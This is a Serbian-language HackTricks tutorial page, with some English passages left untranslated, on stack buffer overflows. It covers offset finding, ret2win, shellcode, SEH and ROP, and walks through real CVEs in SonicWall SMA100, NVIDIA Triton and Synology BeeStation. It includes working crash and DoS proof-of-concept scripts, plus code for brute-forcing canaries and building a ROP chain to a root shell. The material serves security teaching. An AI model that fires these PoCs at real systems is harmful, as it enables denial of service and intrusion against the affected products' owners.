Stack Overflow

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Šta je Stack Overflow

A stack overflow je ranjivost koja nastaje kada program upiše više podataka na stack nego što mu je dodeljeno da zadrži. Ovaj suvišak podataka će prepisati susedni memorijski prostor, što vodi ka korupciji validnih podataka, narušavanju toka kontrole i potencijalno izvršavanju zlonamernog koda. Ovaj problem često nastaje zbog korišćenja nesigurnih funkcija koje ne vrše proveru granica nad ulazom.

Glavni problem ovog prepisivanja je što su sačuvani pokazivač instrukcija (EIP/RIP) i sačuvani pokazivač baze (EBP/RBP) koji omogućavaju povratak u prethodnu funkciju smešteni na stack-u. Zbog toga napadač može da ih prepiše i preuzme kontrolu toka izvršavanja programa.

Ranjivost obično nastaje zato što funkcija kopira na stack više bajtova nego što joj je dodeljeno, čime može prepisati druge delove stack-a.

Neke uobičajene funkcije koje su podložne ovome su: strcpy, strcat, sprintf, gets… Takođe, funkcije kao fgets, read & memcpy koje primaju argument dužine (length argument), mogu biti upotrebljene na ranjiv način ako je specificirana dužina veća od dodeljene.

Na primer, sledeće funkcije mogu biti ranjive:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Pronalaženje Stack Overflows offsets

Najčešći način da pronađete stack overflows je da pošaljete veoma veliki unos As (npr. python3 -c 'print("A"*1000)') i očekujete Segmentation Fault koji ukazuje da je pokušano pristupiti adresi 0x41414141.

Štaviše, kada utvrdite da postoji Stack Overflow ranjivost, biće potrebno da pronađete offset do tačke gde je moguće overwrite the return address. Za to se obično koristi De Bruijn sequence, koja za dati alfabet veličine k i podnizove dužine n predstavlja cikličnu sekvencu u kojoj se svaki mogući podniz dužine n pojavljuje tačno jednom kao kontinualni podniz.

Na ovaj način, umesto da ručno pokušavate da ustanovite koji offset je potreban da kontrolišete EIP, možete kao padding koristiti jednu od ovih sekvenci i zatim pronaći offset bajtova koji su završili prepisujući ga.

Za ovo je moguće koristiti pwntools:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

ili GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.

Međutim, u drugim scenarijima možda će biti dovoljno samo prepisivanje vrednosti nekih promenljivih na steku za eksploataciju (kao u lakim CTF izazovima).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

U ovom scenariju napadač može smestiti shellcode na stek i iskoristiti kontrolisani EIP/RIP da skoči na shellcode i izvrši proizvoljan kod:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Na 32-bit Windowsu, preliv može prepisati lanac Structured Exception Handler (SEH) umesto sačuvane povratne adrese. Eksploatacija obično zamenjuje SEH pokazivač POP POP RET gadget-om i koristi 4-bajtno polje nSEH za kratak skok da se vrati u veliki bafer gde se nalazi shellcode. Uobičajen obrazac je kratak jmp u nSEH koji dospeva na 5-bajtni near jmp postavljen neposredno pre nSEH da bi se skočilo stotinama bajtova unazad do početka payload-a.

Windows Seh Overflow

ROP & Ret2… techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:

Ova tehnika predstavlja osnovni okvir za zaobilaženje glavne zaštite protiv prethodne tehnike: No executable stack (NX). Takođe omogućava izvođenje više drugih tehnika (ret2lib, ret2syscall…) koje će na kraju izvršiti proizvoljne komande zloupotrebom postojećih instrukcija u binarnom fajlu:

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Preliv nije uvek na steku, može biti i u heap-u, na primer:

Heap Overflow

Types of protections

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Postoji više zaštita koje pokušavaju da spreče eksploataciju ranjivosti, pogledajte ih u:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall SMA100 SSL-VPN appliance. The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:

Dobar primer zašto sscanf ne treba nikada verovati za parsiranje nepouzdanog ulaza pojavio se 2025. u SonicWall SMA100 SSL-VPN appliance. Ranjiva rutina unutar /usr/src/EasyAccess/bin/httpd pokušava da izdvoji verziju i endpoint iz bilo kog URI koji počinje sa /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Prva konverzija (%2s) bezbedno upisuje dva bajta u version (npr. "v1").
  2. Druga konverzija (%s) nema specifikatora dužine, stoga sscanf će nastaviti da kopira dok ne naiđe na prvi NUL bajt.
  3. Pošto je endpoint smešten na stack i ima 0x800 bajtova, prosleđivanje puta dužeg od 0x800 bajtova korumpira sve što se nalazi posle bafera ‑ uključujući stack canary i saved return address.

A single-line proof-of-concept is enough to trigger the crash pre autentifikacije:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Iako stack canaries prekidaju proces, napadač i dalje dobija Denial-of-Service primitiv (a, uz dodatne information leaks, moguće i code-execution).

Stvarni primer: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) je sadržao više stack-based overflows dostupnih putem njegovog HTTP API-ja. Ranljiv obrazac se ponavljao u http_server.cc i sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) vraća broj internih segmenata bafera koji čine trenutno telo HTTP zahteva.
  2. Svaki segment uzrokuje alokaciju 16-byte evbuffer_iovec na stack preko alloca() – bez gornje granice.
  3. Zlouporabom HTTP chunked transfer-encoding, klijent može naterati zahtev da se podeli na stotine hiljada 6-byte chunks ("1\r\nA\r\n"). Ovo čini da se n neograničeno povećava dok se stack ne iscrpi.

Dokaz koncepta (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Zahtev od ~3 MB je dovoljan da prepiše sačuvanu povratnu adresu i **crash** daemon na podrazumevanoj izgradnji.

### Praktičan primer: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv-ov Pwn2Own 2025 lanac iskoristio je pre-auth overflow u `SYNO.BEE.AdminCenter.Auth` na portu 5000. `AuthManagerImpl::ParseAuthInfo` Base64-dekoduје unos napadača u 4096-bajtni stack buffer, ali pogrešno postavlja `decoded_len = auth_info->len`. Pošto CGI worker pravi fork za svaki zahtev, svaki child nasleđuje roditeljev stack canary, tako da je jedan stabilan overflow primitive dovoljan i da korumpira stack i da leak-uje sve potrebne tajne.

#### Base64-dekodiran JSON kao strukturirani overflow
Dekodovani blob mora biti validan JSON i da sadrži ključeve `"state"` i `"code"`; inače, parser baci grešku pre nego što overflow postane koristan. Synacktiv je to rešio Base64-enkodiranjem payload-a koji se dekodira u JSON, zatim NUL bajt, pa stream za overflow. `strlen(decoded)` staje na NUL-u tako da parsiranje uspeva, ali `SLIBCBase64Decode` je već prepisao stack iza JSON objekta, pokrivajući canary, sačuvani RBP i povratnu adresu.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi se forkuje jednom po HTTP zahtevu, tako da svi potomci dele isti canary, stack layout i PIE slide. The exploit treats the HTTP status code as an oracle: a 200 response means the guessed byte preserved the stack, while 502 (or a dropped connection) means the process crashed. Brute-forcing each byte serially recovers the 8-byte canary, a saved stack pointer, and a return address inside libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr jednostavno poziva bf_next_byte osam puta dok dodaje potvrđeni prefiks. Synacktiv je paralelizovao ove orakle sa ~16 radnih niti, smanjujući ukupno vreme leak-a (canary + stack ptr + lib base) na ispod tri minuta.

Od leaks do ROP & izvršenja

Kada je library base poznat, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) grade arb_write primitiv koji postavlja /bin/bash, -c, i komandu napadača na leaked stack address. Na kraju, lanac podešava calling convention za SLIBCExecl (a BeeStation wrapper around execl(2)), rezultujući root shell-om bez potrebe za zasebnim info-leak bugom.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks